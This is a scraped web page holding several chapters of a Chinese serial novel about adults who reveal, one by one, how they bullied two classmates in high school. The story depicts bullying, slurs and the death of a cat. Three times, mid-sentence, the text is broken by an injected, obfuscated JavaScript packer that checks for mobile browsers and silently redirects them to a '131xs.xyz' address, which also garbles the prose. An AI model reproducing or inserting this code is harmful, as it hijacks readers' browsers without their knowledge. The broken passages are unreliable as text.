高一上学期运动会开幕式彩排的那个夜晚,是冯银子主动提出要去体育馆的。她作为主策划,有责任展现一个完美的场面。器材室和他们排演的空间完全是对角线,门口还堆积着一些遮挡视线的易拉宝。 他们从器材室拿了班牌和几枚摇铃,为了规划班级方阵的变化还拎了一把绳子来模拟。彩排了几遍之后,冯银子总感觉还差点东西。 卓诗兰和赵选看了半天,认为是徐晓梦的服装问题,督促她去换一套。他们没准备好衣服,但器材室刚好有一些演出服。 徐晓梦看上去很不情愿。冯银子实在受不了她这么拖拖拉拉的性格,干脆让她把绳子都还回器材室。 冯银子是和她一起去的,结果徐晓梦笨手笨脚,还弄翻了一筐网球。冯银子让她收拾,自己先出去了。 她是不想和徐晓梦发脾气的——不然总显得她是在欺负徐晓梦。她比徐晓梦还矮半个头呢,真不知道为什么她稍微大声一点,徐晓梦就立刻担惊受怕。她宁愿徐晓梦和自己吵起来,不然总是一拳头打在棉花上,纯粹对着空气说话。 冯银子憋着火,等了一阵之后几个人就开始聊天打闹,再想起来时已经找不到徐晓梦了——冯银子其实想不起来那天是谁去关的器材室,但这个关门的人和他们说徐晓梦已经走了。 接下来,他们一行人出体育馆时碰到了温嘉。快穿过操场的时候,麦吉突然说自己的笔袋落在体育馆了,要回去拿。 冯银子烦他得很,过了一阵又怀疑自己是不是也把发卡拉在观众席上了。她让卓诗兰他们在原地等一下,快步跑回体育馆。 体育馆那天晚上只有他们,现在也空空荡荡。 果然,她的韩式小发卡还躺在椅子上。不是什么值钱的玩意儿,是她外婆自己做的。冯银子放了心,刚一起身就看见一个身影鬼鬼祟祟地站在器材室门口,整个身子都贴上了门。 这么诡异的姿势让冯银子瞬间想到,该不会是闹鬼了,在听什么不该存在的声音吧? 她浑身发毛,走下台阶时,那人也回过头。 “你、你怎么来了?”对方赶紧走过来,手脚略显局促。 冯银子此时吓的不行:“你干嘛呢,见鬼啦?” 对方沉默了一下,敷衍道:“赶快出去吧,好吓人。” 这时候,冯银子才想起,之前去关门、又说徐晓梦不在的人,分明就是眼前的人,麦吉。 她按住心底即将涌起的揣测,装作毫不知情地离开了。 15.隐瞒 麦吉望见骤然减弱的雨势,脸上的笑容充满嘲讽:“所以你早就知道了?” “我怎么知道你和她之间有什么矛盾,”冯银子冷淡地扭过头,“我只是听说徐晓梦被关在体育馆了,而你是我见过的唯一知情者。” “我不知道,我本意不是那样的……” 压抑的回忆缠绕着麦吉。 冯银子的目光如毒蛇般慢慢盘旋:“你还有什么没说的?” “我看他是在故意隐瞒,”卓诗兰趾高气扬地指向麦吉,似乎在坚决捍卫正义,“反正咱们已经是这个故事里的‘坏人’了,所有事情都归结到我们身上是最简单的,对吗?” “哎呀,别这么凶嘛。” 郁迟忽然露出笑容,懒懒地开口:“我记得啊。徐晓梦生日那天,麦吉是你告诉我有好戏看,让我去的吧?不然我早吃完饭走人啦。” 麦吉扭过头去:“我不记得了。” “哟,轮到自己做的事就不记得?”郁迟轻蔑不已。 温嘉低声反驳:“真不要脸,本来就是你们的错。” 她再小声,卓诗兰也听见了:“喂,温嘉,你多善良啊。也是,方原辞职之前,你一定和教务处说了很多他的好话吧?” 温嘉的脸色似乎白了不少,她嘴唇轻启,逞道:“我当然如实说了,他会辞职是他的决定,又不是什么大事……不对,等一下,那封情书……庄笙,你还记得吗,那张纸?” 那封作为“证据”的情书在当时被温嘉带回了宿舍。熄灯后,她和庄笙一起打着手电筒把碎片拼凑了回去。 笔迹的确极富个人特点,尤其是铅笔的痕迹。但后来呢?这些都说不通徐晓梦为什么要做这样的事。 温嘉当年在正是上头的时候,丝毫没有多想,认定徐晓梦就是个贱人、婊子。现在想来,一定有一些她不曾知道的事。 庄笙微微点头:“那是徐晓梦写的。” “可是你当时说还有别人牵扯进来了?”温嘉不断搜索着回忆。她记得自己气得发抖不愿多看,让庄笙拿去扔掉了。 此时此刻,庄笙站在门边,微弱天光洒在她身上,还和多年前一样清冷孤高。她长久的沉默被温嘉理解为轻视。 庄笙总是这样对她。温嘉想。 卓诗兰扭头看了一眼天台,心急如焚:“别说这些有的没的了,先想办法让水位降下去。” “不如你来说说吧,”麦吉提议道,“给徐晓梦过生日之后,发生了什么?” 卓诗兰抱着手臂,下巴微抬:“有什么不能说的?” - 陈屿给徐晓梦过生日的事在当天中午就传遍了全班。 卓诗兰在午休时划手机,缩在被子里捂嘴笑。她舍友生病回家了,现在就她一个,但也最好别被老巫婆听见了。 她把郁迟发给自己的视频转到了四人小群里,手机一直振动个不停。 果然冯银子也睡不着了。 每次一碰到和陈屿相关的事情,冯银子就会很不淡定。卓诗兰忍不住起哄两句:“陈屿到底行不行啊,他故意做给我们看的呢。” 无缘无故挑衅,真是……让人沉寂已久的斗志又燃起来了。 从小到大,卓诗兰很少碰到反抗自己的。世界都是围着她转的,她说一从来没人敢说二。事实上她横行霸道惯了,自己也管不住脾气,遇到那么一两个能镇压的自己的,反而服服帖帖。 比如赵选和冯银子。能和他们俩当好朋友也不亏,平日里小打小闹,真要有事儿了大家都站在一条船上。更何况他们是一起从临城中学初中部升上来的,那几年的情谊简直太过珍贵。 不过么,这样的日子过久了也有点腻。现在班上的人都不敢惹她,反而失去了一些乐趣。 人就喜欢犯贱。 她卓诗兰还得谢谢陈屿。 其实她对陈屿的印象还挺好的,人帅心善,解答问题也耐心得很。但他们两个天生不是一路人,很难说陈屿是不是看她不顺眼。 她把今天中午的事件当成一次宣战。 赵选在群里发消息:“先不要轻举妄动,下午去问陈屿到底怎么想的。” 陈屿这样的好学生乖宝宝是老师们的重点保护对象,李婉玫很大可能也站他那边。卓诗兰想,要给他一点颜色瞧瞧就不能来硬的。 卓诗兰打字:“银子,你上学期不是问过他吗?” 冯银子和赵选同一个宿舍,这句话之后两个人都没有回答。午休之后,卓诗兰才知道冯银子直接给陈屿打电话质问。 陈屿接是接了,态度却据说十分强硬。气得冯银子牙痒:“我是知道了,他就是故意对着干。” “你连他都解决不了啊。”卓诗兰哼了一嘴。陈屿这家伙害得她们丢脸了,那就非要他低头不可。 卓诗兰从小就知道这个道理,有人来攻击你时,你非得把对方打趴下、让对方再无反抗的能力才行。否则忍了一时,以后都要提心吊胆被猛踩一脚。 只不过郁迟这家伙不按常理出牌,居然把视频里的女生截图放大发到四人群里,还要当面点评一番:“这么看起来,徐晓梦是还挺漂亮的哈。” 卓诗兰“啪”一下将语文书拍在他头上,郁迟嘴上讨饶,视线盯一会儿照片,又看看教室角落。 一种莫名的危机感缠上卓诗兰的心脏。 她是看不上郁迟的,缺点一箩筐的少爷,整天除了找事根本不学无术。但有这样一条狗在身后跟着反而十分有安全感,仿佛高门大院装点门楣,长了脸。让她更可以傲视其他人,特别是女生。 可是郁迟夸徐晓梦漂亮的时候,像是在说真心话——卓诗兰觉得,郁迟是心野了,想去当徐晓梦的狗了。 这不行。卓诗兰不同意。她得跟徐晓梦“商量”一下。 那天下午,生物课老师临时请假,换成了英语课。卓诗兰在B班,听说很快就是全年级的英语戏剧表演大赛,他们班会出《傲慢与偏见》的经典选段。 这是赵选提议的,是她最喜欢的小说。 选角是B班老师在大班直接定下的。伊丽莎白是赵选,庄笙演简,达西当然非陈屿莫属。至于卓诗兰,她要和麦吉一起演贝内特夫妇。 卓诗兰颇有微词,就连冯银子都讨了个没台词的女儿角色,她就得演一个平庸长舌的太太。 算了,比起哑巴角色,还是太太好一点。 除此之外,为了让更多人参与进来,台词将由其他同学配音,共同完成舞台。 傍晚休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702115|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息时间,教室里没剩下几个人了。卓诗兰看见郁迟走到冯银子桌边,说了句什么,不料冯银子抬起脸尖叫:“郁迟你滚!” 她也不是真的被刺激了,而是糅合了撒娇和委屈,连眼眶都红了。随后,冯银子戴上耳机,继续趴桌上。 “干什么啊莫名其妙的。”郁迟嘟囔着,又过来骚扰卓诗兰。 “你说什么了?” “……我就说赵选和陈屿说话去了,结果她就吼我。好凶哦。” 卓诗兰看了一眼冯银子:“他们去哪儿谈了?” “在小教室。”郁迟说着,目光在教室里逡巡一圈,没找到任何目标。 卓诗兰干脆去小教室,走到门口就听见赵选非常温和的语气:“陈屿,我们聊一下嘛,你到底是怎么想的?你是喜欢徐晓梦吗?” “不是。”陈屿回答道。 卓诗兰站在墙边,刚好让里面的人看不见。郁迟也过来陪着,背往墙壁一靠,后脑勺也撞了上去。 “操。”郁迟骂道。真痛。 卓诗兰“啧”了一声,让他不要闹。 赵选的声音传来:“我也不是要为难你,就是想知道原因。你觉得自己是在声张正义吗?那她偷我东西的时候,你怎么不为我说一下话,我和你同班时间更久诶。而且冯银子也是你同学,她好心借给徐晓梦衣服,但是被剪了,她能怎么想?你这么有正义感,为什么不帮我们调查清楚?” 教室里沉默了片刻,陈屿说:“我相信她不是。” “好,衣服的事情暂且不说。她偷东西可是既有人证又有物证,当场抓获的。你觉得里面有什么误会?” 陈屿说:“……不管怎么样,都不是你们欺负她的理由。” “欺负?”赵选的语气诧异极了,“我们只是让她付出代价,知道什么事情能做什么事情不能做。你不能什么都怪我们呀。” 陈屿不紧不慢地问:“方原的事呢?” 赵选冤枉不已:“那我就更不知道了。谁能想到她那么大胆子。” “真的?” “你怀疑我?”赵选差点控制不住情绪。 陈屿沉声道:“我见过那张卡片,但不是徐晓梦写的。” 赵选惊呆了:“那是谁写的?” 郁迟:“卧槽。” 卓诗兰狠狠嘘了他一声。 教室里安静了一会儿,赵选失望地叹息:“总之,你是不想和我们当朋友了?” “我要做题了。”陈屿没有直接回答。 赵选走出小教室时顺手砸上了门。她一扭头看见郁迟和卓诗兰在偷笑,顿时气更不打一处来:“你们两个都听见了吧?” 卓诗兰先点头,又摇头,上去摇摇她的手臂:“你别生气了,我们去喝酸奶。” 在英语戏剧表演大赛来临前,卓诗兰听说了一个有关陈屿的消息。 因为即将文理分科,所有人都填写了自己的志愿表单,单子上还有父母的工作单位和联系方式。 郁迟不知从哪儿拍到了其中一张,当着卓诗兰的面打开手机,大摇大摆地拨出了表单上的号码。 响了三声后,一个温厚的男声传来:“你好,东哥洗衣店。” 卓诗兰夸张地捂住嘴。 16.嘲弄 班上的闲言碎语很快变成了当面挑衅。比如有人在陈屿进教室时故意朝他吹口哨:“陈屿,去东哥洗衣店报你名打折不?” 男生们凑一起的哄笑让陈屿微微拧眉,却没有过多的遮掩。他拉开椅子,嘴角上勾:“行啊。” 看见这一幕的卓诗兰扭过头,懒懒撑着耳侧:“真装。” 也许她一开始怀疑过自己行为的正当性,但那些起哄的声音令她赚足了底气。 成绩好怎么了,年年拿特等奖学金又怎么了?人和人之间的差距又不止是在学校里。 陈屿这种高高在上的家伙,没有人知道他的实际情况。 揭露他的弱点、让所有人都知道他的秘密都令卓诗兰的肾上腺素快速分泌。 她认为自己在揭露真相,就像某些大型机构的记者,无情地扯下欺骗世人的遮羞布。 你看,也不止她这么觉得。 卓诗兰和郁迟相视一笑,趴回了桌上。 “这样不好吧,”赵选捧着手机专注某个当红男团的新mv,“别人有正经生意,也是靠自己挣钱的。” 郁迟无情地揭穿她:“那你别笑啊,他也别装呗。” 从那一天开始,他们班的氛围产生了变化。人们过去对陈屿的尊敬和喜爱忽然微弱起来,嘲笑和怜悯都开始有迹可循。还有人肆无忌惮地开陈屿和徐晓梦的玩笑。 卓诗兰始终不满意。她不满意陈屿对这一切都没有反应,是不喜欢她精心策划的恶作剧吗?他也太过分了! 真是无趣。 卓诗兰终于意识到为什么陈屿和自己不是一路人了——因为他实在是太太太太无聊了! 还不如徐晓梦。 徐晓梦发现自己水杯里的蟑螂时好歹还会吓愣住,煞白的脸色格外好笑。 尤其是郁迟让她把水杯递过去的时候,徐晓梦是在想什么呢。她是期望郁迟帮助自己,还是害怕郁迟会更加恶劣?她一定很矛盾吧,所以才犹豫畏缩,眼里写满警惕。 徐晓梦震惊地看着郁迟处理完水杯里的生物,把空水杯还回来。她似乎没有预料到郁迟的好意,干裂的嘴唇动了动。“谢谢”的口型才做出结构,郁迟“哇”了一声:“全是细菌喔。” 徐晓梦的手停在半空,过了几秒才拿紧水杯。可怎么也抽不出来。 郁迟坏笑着改了主意:“不如这样,你叫一声‘哥哥’来听。” 要是换了卓诗兰或者冯银子,八成要当场给他一巴掌。就算是五班其他女生也会瞪他一眼,冷笑走开。 只有徐晓梦会吓得一抖,耳朵又禁不住发烫。她面前的过道被郁迟占着,没地方躲。 郁迟直勾勾地盯着她看,神情难得温和了一瞬。 卓诗兰实在看不出他肚子里藏的什么坏水儿,只道他毛病犯了,想给谁当狗——再反咬一口。 果然。 徐晓梦支支吾吾想服软的那一刻,眼前一黑,随即“啪”地一声,左脸疼得发烫。 砸向她的书落到脚下,又被面前的人踩了一脚。 “你真恶心。”郁迟经过她的时候说。 卓诗兰不动声色地抬抬眼皮,吊起来的心微妙地放下了。 英语戏剧表演大赛很快到来。当天的服装是冯银子负责租借的,她特别擅长这些事情,还顺便负责了一部分妆发。 卓诗兰当然优先被照顾。只不过冯银子给她画眼影的时候,忽然听见赵选的惊慌:“庄笙什么情况,人去哪儿了?她今天都没来吗?” “来了呀,我上午才看到她。”卓诗兰答道。 赵选在化妆室门口踮起脚,张望半天一无所获,好不容易逮到陈屿,后者像往常一样平静:“庄笙不舒服,上不了台了。” “那怎么办?” “有备选的同学。”陈屿说。 卓诗兰捂住嘴,插了一句:“哎哟,你该不会是想推荐徐晓梦吧?” 她额头上方打高光的手劲没收住,重重地拍了下去。卓诗兰连喊疼都忘了,因为她的一句玩笑话好像说对了。 其实陈屿也没正面回应,他这段时间和他们的关系十分微妙。卓诗兰一直在看戏,只觉得他活该,现在装作没听见的模样更是面目可憎,没礼貌极了。 她顾不上没定型的妆,提起裙子就跑到隔壁化妆室。再回来的时候,冯银子正在给赵选捯饬头发,力图让电影版女主角重现临城中学。冯银子虽然不怎么爱学习,臭美这方面倒是一把好手。 “我说,人家都踩我们头上了!”卓诗兰的胸中闷着一大口气。本来还在为演出紧张的心情此时一扫而空,只有浓烈的胜负欲激荡。 赵选扫她一眼:“冷静点。” 卓诗兰长吸气,听见她说:“现在气上头就会给别人可趁之机,里子面子都输了。” 卓诗兰很认同她的话。 就徐晓梦? 一套英语卷子都数不出十个认识的单词,上台后还不是丢人现眼。那这个洋相就给她出好了呀。本来就已经很出名了,现在他们什么都不用做,保证她能自己给自己添火。 也怪庄笙不争气,这样的机会白白给徐晓梦。 不过嘛,陈屿就很过分了。卓诗兰没有证据,直觉却异常明晰——哪儿能这么容易说服李婉玫换人,他肯定是和徐晓梦串通好了,一早就做足了准备,抢先占上了位置。。 说白了,陈屿是在和他们宣战。 ……就为了徐晓梦?简直可笑! 卓诗兰想了想,低头给郁迟发了消息。 5班是当天表演的最后一组,用麦吉的话来说是“压轴”的。上台前的卓诗兰却感觉自己是来压轴出丑的。 徐晓梦换上了庄笙的那套戏服,粗长的黑发编织成一束,搭在胸前。细长的脖子因为紧张而绷紧,嘴里还在反复念词。 卓诗兰实在不晓得李婉玫怎么能同意的,她戏份不少,全是要对口型的! 注意力全都放在徐晓梦身上后,卓诗兰连脚步都是虚浮的,还因为走错了一个位置被赵选瞪了一眼。 徐晓梦的表现却出乎意料得好。她完全不像临时上台来的,尽管有些紧张,动作也不够大方坦然,但都昂首挺胸,不算难看。换幕时,卓诗兰注意到陈屿鼓励徐晓梦的眼神——果然和她想的一样,他们压根就是串通好的! 徐晓梦临时替场怎么可能对剧本和动作那么熟练?只能是有人早就教给她了。而这个人只有陈屿,只有作为男主角的他熟悉所有剧情和编排细节。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708178|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这件事等会儿一定要告诉冯银子,看看她会是什么反应。 卓诗兰数着拍子,在即将登场时听见观众席传来一阵不和谐的声音。 大屏幕背景突然换了。闪烁着劣质彩灯的店牌出现在舞台的投影大屏中,“东哥洗衣店”几个字明晃晃地矗在所有人的视野里,伴随着音箱放大的广告词:“专业洗衣,一件二十,干洗熨烫,健康洁净……” 播放音不断循环。 陈屿站在舞台的正中央,昏暗的灯光照进他迷茫的眼神。抓住西装的手是那么用力,那么青筋分明。 有一瞬间,卓诗兰看见了一种无措——她以为从来不会出现在陈屿身上的。因此得逞的快感反复上涌,差点控制不住。 舞台上的赵选是最快反应过来的,她没有理会广告音,拍了拍陈屿的肩,准备进入下一幕。 卓诗兰和剩下的人在此时登场——音响和灯光在他们踏上台阶后突然一起熄灭。 紧接着,一切混乱嘈杂在她周围响起。 她是很怕黑的,下意识地想要抓住旁边的人。但来往的声音异常慌乱,她根本不确定目前的状况。 灯光再亮起时,徐晓梦已经摔下了舞台。 - 最后一段说完后,卓诗兰清了清嗓子,口干舌燥的尤其难受。 在她讲述的过程中,水位下降了一层楼的高度,细雨是在最后才慢慢落下的。 麦吉哼笑一声:“你也不比我好到哪里去。” 卓诗兰回以轻蔑的笑容。就算他们都认为她在说谎,那又怎么样。只是一个无关紧要的细节。她可是交代了那么多微妙的想法,还同时得罪了陈屿和郁迟。 陈屿仍旧平静无奇。他可能早就知道了,也可能根本不在意——卓诗兰想,他最好别在意,过去这么久了谁能记得为什么。不过是一些年少无知的小错误罢了。 至于郁迟,更没必要了。一看他那副嬉笑的嘴脸就知道他完全没有当一回事儿。 庞潇压不住震惊的神情:“你们……也太过分了。” 卓诗兰顿了顿,换上认真的表情,望向门边:“陈屿,小时候的玩笑的确不知轻重,对不起。” 没有人回答她。 卓诗兰也不会再恳求,她只能低头到这里。 倒是郁迟率先朝陈屿的方向抬起手,想和他碰拳:“兄弟,以前的事情就是恶作剧,算了吧。” 陈屿站在那里,就像多年前站在舞台上一样孤零零的。他的嘴唇动了动,却也没有接郁迟的动作。 “你还在生气?不会吧,”郁迟口吻夸张,“你那志愿单又不是老子偷的,是人家给我看的。” “是谁啊?”麦吉冷不丁追问。 郁迟的视线在几人之间转了一圈,停在了陈屿左侧:“我怎么能出卖朋友呢。你说是吧,庄笙同学?” 他懒洋洋地拖长声音,嘴角浮起坏笑。 庄笙默不作声地捏紧手指,然后听见赵选猛地拍手:“我知道了,原来是这样!” 温嘉原本在烦恼地抓头发,此时手也停了。 赵选注视着庄笙,终于放松地靠上墙,叹息声如绵绵细雨:“你们一个三角恋的事情,何必拉上其他人。” 17.赵选 为什么说是“三角恋”,因为冯银子根本就是个旁观者——赵选在得知她给陈屿递小纸条的那一刻想到,幸好自己没有告诉她,不然冯银子得闹好大的情绪。 赵选想,冯银子的语文水平是断然想不出那么文绉绉的古诗句,也不知道是从哪里抄来的。作为好姐妹,她友情赞助了一张漂亮的卡片。 话说回来,在徐晓梦转学来之前,也就是高一第一学期的期中考试前,赵选有一回听见庄笙在和陈屿说话。 赵选早知道陈屿成绩是很好的。临城总共没几所学校,陈屿初中还参加过奥数竞赛,不少人听过他的名字。 从开学后的几次月考来看,庄笙和他旗鼓相当。两个人的名字经常被李婉玫并列表扬,也因而被好事者开过几次玩笑。很多人不记得了,赵选却很清楚。 她没参与过开他俩玩笑。她家算是书香门第,自己不好学。除了一手好字迹,什么都没有。不过,她对十分好学的人倒是另眼相待。难得在5班这样吵嚷的环境里还能静心,她对陈屿和庄笙的印象都还不错。 期中考试前那一段时间陈屿都坐在庄笙后桌。赵选亲眼看见庄笙转过头和陈屿说话。班上同学之间很正常,但庄笙平时别说笑了,对男生都没什么好脸色。她一回头时,眼睛弯成一道缝,陈屿的反应都比平时慢半拍。 ——说真的,不是赵选的想象。她从小漂亮到大,不少男生给她献殷勤,对人和人之间的情绪变化再清楚不过,有时会比当事人都还先察觉。 而且他们俩看上去是一类人。赵选说不清是什么,虽然两个人外貌性别和性格都完全不同,但是有一些极为相同的朦胧的特质。如果需要把人类归类,赵选天然会把他们放在一个栏目中。 从那之后,赵选时不时会看见他们说话。大部分时候都在教室里,出了教室好像不认识似的。赵选不知道该为李婉玫捏一把汗,还是为她庆幸,至少不会被保安在小竹林抓到。 但是徐晓梦的到来改变了这一切。 赵选想,大概是从运动会之前的某个时刻开始,她几乎没有见过庄笙和陈屿说话的场景了。可能是座位的调动让二人始终隔得很远,但更可能是徐晓梦打破了他们之间微妙的氛围。 徐晓梦经常找陈屿问问题,比赵选还频繁。为此冯银子看她很不顺眼,赵选还笑话冯银子:“学习委员是大家的,又不是你一个人的。” 赵选起初压根儿没看见徐晓梦,仿佛这个人根本不存在。直到某一天徐晓梦在英语课时坐过她的座位,留下了一股难以言喻的气味。 赵选有洁癖,对气味也很敏感,那一刻她嗅到了一种药草发酵的臭味,时酸时浓,令人作呕。她捂住口鼻,找出消毒纸巾把课桌和椅子里里外外都擦拭一遍,连底部也没放过。 她擦的时候徐晓梦就在她附近,赵选连头都没回,也不在乎自己的举动是否会伤害到别人。徐晓梦这个罪魁祸首还一句话都不说,只知道站在那里,好像被谁欺负了。 赵选顿感冤枉,但更多的是瞧不上徐晓梦。她不理解怎么会有人完全没有反应,对做错的事情,对经受的羞辱,对所有的事都那副世界欠她的鬼样子。 要是当时徐晓梦上来和她道歉,她还会高看她两眼。 而现在她看卓诗兰和郁迟他们逗弄徐晓梦,只觉得无聊,反正都那样。 话说回来,赵选察觉到庄笙和自己有一样的想法是在运动会开幕式那一天。当时徐晓梦在女厕所换衣服出状况时,她在走廊上看最近的公演视频,亲眼看见庄笙也往厕所走。 她想庄笙可能想去洗手,但听见里面的争执后只在原地停顿了一下,露出了一言难尽的神情。庄笙平时没什么表情,明显是防备心很重的人,连微笑都显得冷漠。赵选时常怀疑她是个毫无感情的机器人,但那一刻,赵选从她平直的双眉间看出了浅浅的厌恶。 赵选想,她到底是在厌恶徐晓梦,还是在厌恶她们的喋喋不休。 运动会正式开始后,赵选确认了答案。 发现徐晓梦是小偷的当下,赵选的确非常生气。她气的不是被偷的ipod,而是徐晓梦的不诚实。她从小被教育要做一个诚实正直的人,小时候说谎可是会挨打的。而徐晓梦这样堂而皇之的小偷居然还敢扮演弱势大呼冤枉,凭什么? 赵选认为自己是真心实意这么想的。她不过是想给徐晓梦一个教训,至于当众让所有人不准跟徐晓梦说话,也只是幼稚手段的一部分。她是发号施令的没错,可嘴长在别人身上,她自知管不到,充其量威胁一下。 谁知道他们班的人都挺听话的。一多半人都曾经找她模仿过家长笔迹代签试卷,这些人都欠她的,也是她发脾气的底气。 庄笙当时坐在角落看书,赵选一抬头就能发现她。她也只是维持平淡的沉默,没有反抗,甚至点了点头。就那短暂的一秒钟,赵选就明白了。 后来班级群收到陈屿和徐晓梦那张照片时,赵选正好扭过头跟庄笙说话。她们好像在聊当时流行的一首歌曲,赵选怎么都想不到庄笙这样的古板学霸也喜欢那种群魔乱舞的音乐风格。但庄笙总不可能屈尊来迎合她,还是自家爱豆太红了,火遍太平洋沿岸必然是有理由的。 总之,赵选把那张照片递给她看,庄笙在聊天时还勾起的嘴角突然消失,吓了赵选一跳。那双沉静的眼眸充满冷漠和敌视,连起伏的呼吸都控制不住。 怎么会有这样的反应。 赵选想,除非她的猜测得到了验证。 赵选以为庄笙不会有什么烦恼,看来她现在也有了。一种隐秘的惺惺相惜浮上心头,她既觉得庄笙可怜,又担心她会误入歧途。 “情书事件”的当晚,赵选也曾当着庄笙的面说:“她本来就是那样的人,做出这些事不奇怪。” 庄笙好像要说什么,赵选又抢先和周围道:“当她是空气,以后不要和她说话了。” ……还便宜徐晓梦了。 赵选家里有人当老师,向来都知道发生这种事的结局。可惜她本就寥寥的数学成绩好不容易在方原的傻瓜教学方法下提高了一些,又要适应新的老师了。真烦人。 而且说真的,她也累了。徐晓梦是那种怎么骂怎么收拾都放不出一个屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713553|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,根本不会改,也不会反思,纯粹在外耗他们几个。她又不是徐晓梦的家长,不必纠正她那些奇葩的行为,自有郁迟他们给她上课。 可惜这时候没人听她的了。连年级上都传遍了,一到下课时分就有人来找徐晓梦,想骂她几句解气,更别提班上那些当面的讥讽嘲弄。 赵选就看着他们浪费嘴皮子和暴脾气,恨不得带包瓜子去教室(可惜李婉玫不让在教室吃零食)。所以徐晓梦遭到变本加厉的报复时,她也丝毫不意外。 ——她只参与了零星几次,再多的就和她没关系了。 说到这里,赵选还记得自己当时痛恨徐晓梦的另一点,她怎么能吃着碗里的,看着锅里的?简直是婊.子作派! 就她? 她也配?!! 连带着赵选对陈屿的印象都疯狂跌落谷底,再看庄笙也只剩同情怜惜。搭上这两个人真是倒霉啊,明明是三个人的故事,而今连姓名都没有。 不过也好,至少不会耽误庄笙的学习。 赵选感觉自己一定是追星追到疯魔了,看见哪个喜欢的都想当事业粉。 她从没否认过自己对庄笙的欣赏。后来一起排练《傲慢与偏见》时,她更是对庄笙天然的冷静感到亲切。无论发生多么令人不耐烦的事情,庄笙都有本事解决。她一直在那儿,好像生来就会给问题找到出口。 ……要是个男生就好了。赵选由衷地感叹。 所以正经比赛那一天,得知庄笙无法上台后,赵选是非常失望的。换成徐晓梦之后,更是恼怒庄笙怎么不争气,这不是踩在她的脑袋上羞辱她吗! 要是易地而处,赵选就算发烧到四十度也绝不接受! 短暂的气恼后,赵选放下了心。 她终于知道,庄笙也接受不了。 舞台上一片黑暗,再度恢复光明也伴随着徐晓梦的惊叫。而百无聊赖的赵选正好面对舞台左侧的控制室,庄笙正站在控制台边,神情慌乱地想要挤出人群。 似乎是在对上赵选的视线后想逃离现场。 庄笙竟然也有这样的时刻。 赵选想,要是陈屿知道了,会不会也觉得意外。 赵选没想过欺负陈屿,他纯粹是被误伤了。拿家境说事其实上不得台面,赵选自己是很清楚的——她也没笑话过徐晓梦又穷又土。就算捎带着说过两句,也只是顺口,非她本意。她警告过徐晓梦不要再惹事,也和陈屿聊过,劝他不要得寸进尺。 她没亏心。 现在才是看好戏的时刻。 她会拉住冯银子,让自己的好朋友不要继续掺和人家的复杂事。这是她能做的最多的了。 从舞台上摔下来的徐晓梦回家休养了一个月。短短三十天,赵选连耳根子都清净了不少。但赵选永远忘不了她回来之后,就在分班考试的前一天—— 在徐晓梦怀里的那只流浪猫,发出异常凄厉的悲鸣。那双黑白分明的眼睛直勾勾地盯着,直到那可怜的小东西咽气。 赵选亲眼目睹了这一幕,手指冰冷得无法动弹,反胃的情绪足足牵扯了她一周。 18.假相 暗潮在远处翻涌,黏腻的水汽钻入阴沉的空间。 赵选扶住额头,因为被勾起的回忆而轻声吸气,不愿再想:“那件事实在是太恐怖了。我从来没见过,哪里有这样的人……不,可能上一次还是小学的时候,隔壁班的男生剪掉了一只鹌鹑的头。” 那么脆弱的小鹌鹑有一袭金色的羽毛,和多年后草地上的那只黄狸猫在记忆中重合。相同的令她反胃。 “太恶心了,我没办法再说了,”赵选掸掉指甲上的灰尘,视线飘向天台,“没有下雨,我说的是真的。” 在众人的沉默里,陈屿平静地开口:“你看见的只是你以为的真实。” “嗯,你说的没错。我们也只能知道自己看见的,不是吗?”赵选轻飘飘地回应。 庄笙不自觉地绷直背脊,陈屿就站在她旁边,呼吸浅得像不存在。换做时高中时代的她,一定会想知道陈屿此时在想些什么。但现在都不那么重要了。 温嘉的手臂酸痛,因为之前的胆怯一直拽住庞潇的衣服没有松开。她的眼睛睁得很大,漆黑的眼珠差点瞪出来,于是小声跟庞潇嘀咕:“赵选说的都是真的?真是他们三个……我之前怎么不知道。” “你听话听一半。”庞潇责怪道,温嘉还是和以前一样,总是出乎意料得笨。 温嘉软弱地“噢”了一声:“那到底怎么回事。” 庞潇用气音回她:“不知道。” “你俩还讨论上了?”卓诗兰朝她们的方向抬眉。 “没、没有啊,”庞潇利用抬高的音量掩饰心虚,“徐晓梦去文科班之后,我都没怎么见过她了,就挺好奇又发生了什么。” 赵选要回答时,冯银子拉住了她。麦吉出声道:“现在还剩下三个人没有发言,你们谁要先说?” 郁迟,陈屿,以及庄笙。 “我先来吧。” 郁迟掌握了主动权:“流浪猫那件事,我也在场。” - 郁迟原以为徐晓梦会回家更久,或者索性转学。再见到她的时候,他还挺惊讶的。 徐晓梦还是那副淡淡的死人样,安静得好像从来都不存在。郁迟想,自己真是有一双发现美的眼睛。 